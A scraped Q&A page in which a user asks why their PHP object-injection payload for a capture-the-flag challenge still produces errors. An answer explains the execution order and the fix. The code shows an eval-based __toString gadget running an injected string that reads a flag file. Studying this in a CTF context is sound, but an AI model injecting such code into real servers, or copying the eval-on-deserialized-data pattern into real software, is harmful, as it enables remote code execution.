doumeng3188 2019-05-15 20:28
浏览 331

为什么代码仍然在“exit()”之后执行?

I'm doing a CTF challenge that is about insecure deserialization in PHP. The goal is to print the flag by injection code into the deserialization to execute the print_flag() function. I suspect that the webserver only prints the last line that the script echoes, which overrides the output of the flag, even when calling exit().

A part of the php-code running on the webserver is provided. I have implemented it in my own php-script to find out what works and what doesn't. I have succeeded in serializing an object that executes the code when deserialized. By calling exit(print_flag()); the flag is printed, without any further errors... At least in my script. When I send the serialized object to the webserver, it still prints further errors.

Additionally, I have tried returning a string from my injected code. That doesn't work either.

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized
";
$deserialized = unserialize($serialized);

The code is similar to the one shown in the challenge, but modified so it works for me.

I would expect the code to only return the flag. When executing the script on my own machine, the output is:

O:8:"Example2":1:{s:14:" Example2 hook";s:19:"exit(print_flag());";} thisistheflag

When I call it without exit():

PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"

The webserver returns:

Catchable fatal error: Method Example2::__toString() must return a string value in /var/www/index.php on line 79

How do I stop the error from printing?

  • 写回答

2条回答 默认 最新

  • dtkwt62022 2019-05-15 20:44
    关注

    The error is occurring because of unserialize($flag);. Since the argument to unserialize() is supposed to be a string, it tries to convert the Example2 object to a string. You probably meant to use unserialize($serialized);.

    But more generally, you should ensure that the __toString() method returns a string. If you don't care what it is, you can return an empty string.

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
        return "";
    }
    

    The error doesn't happen when you have exit() in the hook because the script exits before the __toString() method returns, so it never checks the return value.

    Nothing is being executed after exit(). Here's the order of operations:

    • new Example2 - Creates new object
    • serialize($flag) - Creates a string representing the object
    • print "$serialized "; - Print the above string

    None of the above steps need to call __toString(), so the hook is not yet executed.

    • deserialize($flag) - This needs to convert $flag to a string so it can be parsed as serialized data.
      • Call $flag->__toString()
      • eval($this->hook)
      • Call print_flag(), which prints the flag
      • Call exit(), which terminates the script

    So you see the serialized object printed, then the flag is printed, then nothing else because of exit().

    To demonstrate the vulnerability, you should call unserialize() with the correct argument.

    $deserialized = unserialize($seralized);
    echo $deserialized;
    

    This echo statement will cause the __toString() method to be invoked. This will then exit the script, and you won't get the error message.

    评论

报告相同问题?

悬赏问题

  • ¥15 关于#hadoop#的问题
  • ¥15 (标签-Python|关键词-socket)
  • ¥15 keil里为什么main.c定义的函数在it.c调用不了
  • ¥50 切换TabTip键盘的输入法
  • ¥15 可否在不同线程中调用封装数据库操作的类
  • ¥15 微带串馈天线阵列每个阵元宽度计算
  • ¥15 keil的map文件中Image component sizes各项意思
  • ¥20 求个正点原子stm32f407开发版的贪吃蛇游戏
  • ¥15 划分vlan后,链路不通了?
  • ¥20 求各位懂行的人,注册表能不能看到usb使用得具体信息,干了什么,传输了什么数据